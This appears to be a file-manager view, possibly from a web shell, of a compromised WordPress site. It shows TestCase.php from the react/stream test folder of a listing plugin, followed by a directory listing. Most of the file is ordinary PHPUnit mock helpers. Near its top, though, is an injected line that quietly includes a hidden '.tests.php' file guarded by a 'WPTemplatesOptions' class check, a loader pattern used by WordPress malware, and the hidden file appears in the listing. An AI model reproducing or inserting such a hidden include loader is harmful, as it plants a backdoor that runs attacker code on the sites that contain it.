PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
vendor
/
react
/
stream
/
tests
<?php namespace React\Tests\Stream; use PHPUnit\Framework\TestCase as BaseTestCase; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class TestCase extends BaseTestCase { protected function expectCallableExactly($amount) { $mock = $this->createCallableMock(); $mock ->expects($this->exactly($amount)) ->method('__invoke'); return $mock; } protected function expectCallableOnce() { $mock = $this->createCallableMock(); $mock ->expects($this->once()) ->method('__invoke'); return $mock; } protected function expectCallableOnceWith($value) { $callback = $this->createCallableMock(); $callback ->expects($this->once()) ->method('__invoke') ->with($value); return $callback; } protected function expectCallableNever() { $mock = $this->createCallableMock(); $mock ->expects($this->never()) ->method('__invoke'); return $mock; } protected function createCallableMock() { return $this->getMockBuilder('React\Tests\Stream\CallableStub')->getMock(); } }
[+]
..
[-] EnforceBlockingWrapper.php
[edit]
[-] CallableStub.php
[edit]
[-] ThroughStreamTest.php
[edit]
[-] UtilTest.php
[edit]
[-] DuplexResourceStreamTest.php
[edit]
[-] FunctionalInternetTest.php
[edit]
[-] WritableStreamResourceTest.php
[edit]
[-] TestCase.php
[edit]
[-] CompositeStreamTest.php
[edit]
[+]
Stub
[-] ReadableResourceStreamTest.php
[edit]
[-] DuplexResourceStreamIntegrationTest.php
[edit]
[-] .tests.php
[edit]